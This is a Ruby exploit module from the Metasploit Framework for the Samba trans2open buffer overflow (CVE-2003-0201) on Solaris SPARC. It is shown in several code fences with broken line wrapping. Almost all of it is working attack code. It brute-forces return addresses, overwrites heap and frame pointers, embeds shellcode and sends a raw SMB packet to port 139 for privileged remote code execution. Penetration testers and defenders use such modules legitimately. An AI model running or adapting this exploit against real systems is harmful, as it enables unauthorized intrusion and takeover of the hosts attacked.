```
##
# $Id: trans2open.rb 7724 2009-12-06 05:50:37Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
# This exploits the buffer overflow found in Samba versions 2.2.0 to 2.2.8. This particular module is capable of exploiting the flaw on Solaris SPARC systems that do not have the noexec stack option set. Big thanks to MC and valsmith for resolving a problem with the beta version of this module.
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::SMB

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'Samba trans2open Overflow (Solaris SPARC)',
			'Description'	=> %q{
				This exploits the buffer overflow found in Samba versions
				2.2.0 to 2.2.8. This particular module is capable of
				exploiting the flaw on Solaris SPARC systems that do not
				have the noexec stack option set. Big thanks to MC and
				valsmith for resolving a problem with the beta version of
				this module.
			},
			'Author'	=> [ 'hdm' ],
			'License'	=> MSF_LICENSE,
			'Version'	=> '$Revision: 7724 $',
			'References'	=>
				[
					[ 'CVE', '2003-0201'],
					[ 'OSVDB', '4469'],
					[ 'BID', '7294'],
					[ 'URL',
'http://www.digitaldefense.net/labs/advisories/DDI-1013.txt'],
				],
			'Privileged'	=> true,
			'Payload'	=>
				{
					'Space'	=> 1024,
					'BadChars' => "\x00",
					'MinNops'  => 512,
				},
			'Platform'	=> 'solaris',
			'Targets'	=>
				[
					["Samba 2.2.x Solaris 9 (sun4u)",
```

```
                                        {
                                                'Arch' => ARCH_SPARC,
                                                'Rets' => [0xffbffaf0, 0xffbfa000,
128, 0xffbffffc],
                                        },
                                ],
                                ["Samba 2.2.x Solaris 7/8 (sun4u)",
                                        {
                                                'Arch' => ARCH_SPARC,
                                                'Rets' => [0xffbefaf0, 0xffbea000,
128, 0xffbefffc],
                                        }
                                ],
                        ],
                'DisclosureDate' => 'Apr 7 2003'
                ))

                register_options(
                        [
                                Opt::RPORT(139)
                        ], self.class)

        end

        def exploit

                curr_ret = target['Rets'][0]
                while (curr_ret >= target['Rets'][1])
                        break if session_created?
                        begin
                                print_status("Trying return address 0x%.8x..." %  curr_ret)

                                connect
                                smb_login

                                #
                                # The obstacle course:
                                #       outsize = smb_messages[type].fn(conn,
inbuf,outbuf,size,bufsize);
                                #       smb_dump(smb_fn_name(type), 0, outbuf, outsize);
                                #       return(outsize);
                                #

                                # This value *must* be 1988 to allow findrecv shellcode to work
                                pattern = rand_text_english(1988)

                                #
                                # This was tested against sunfreeware samba 2.2.7a / solaris 9
/ sun4u
                                #
                                # Patch the overwritten heap pointers
                                # substr($pattern, 1159, 4, pack('N', $target->[4]));
                                # substr($pattern, 1163, 4, pack('N', $target->[4]));
                                #
                                # >:-) smb_messages[ (((type << 1) + type) << 2) ] == 0
                                # substr($pattern, 1195, 4, pack('N', 0xffffffff));
```

```
                                        #
                                        # Fix the frame pointer (need to check for null in address)
                                        # substr($pattern, 1243, 4, pack('N', $target->[3]-64));
                                        #
                                        # Finally set the return address
                                        # substr($pattern, 1247, 4, pack('N', $curr_ret));
                                        #

                                        #
                                        # This method is more reliable against a wider range of targets
                                        #

                                        # Local variable pointer patches for early versions of 2.2.x
                                        pattern[1103, 36] = [target['Rets'][3] - 1024].pack('N') * 9

                                        # Overwrite heap pointers with a ptr to NULL at the top of the
stack
                                        pattern[1139, 40] = [target['Rets'][3] - 1024].pack('N') * 10

                                        # Patch the type index into the smb_messages[] array...
                                        # >:-) smb_messages[ (((type << 1) + type) << 2) ] == 0
                                        pattern[1179, 20] = [0xffffffff].pack('N') * 5

                                        # This stream covers the framepointer and the return address
                                        pattern[1199, 400] = [curr_ret].pack('N') * 100

                                        # Stuff the shellcode into the request
                                        pattern[3, payload.encoded.length] = payload.encoded

                                        trans =

"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+

"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+

"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+
                                          pattern

                                        sock.put(trans)
                                        handler

                                rescue EOFError
                                rescue => e
                                        break
                                end

                                curr_ret -= target['Rets'][2]
                        end
                end
```

```
end
```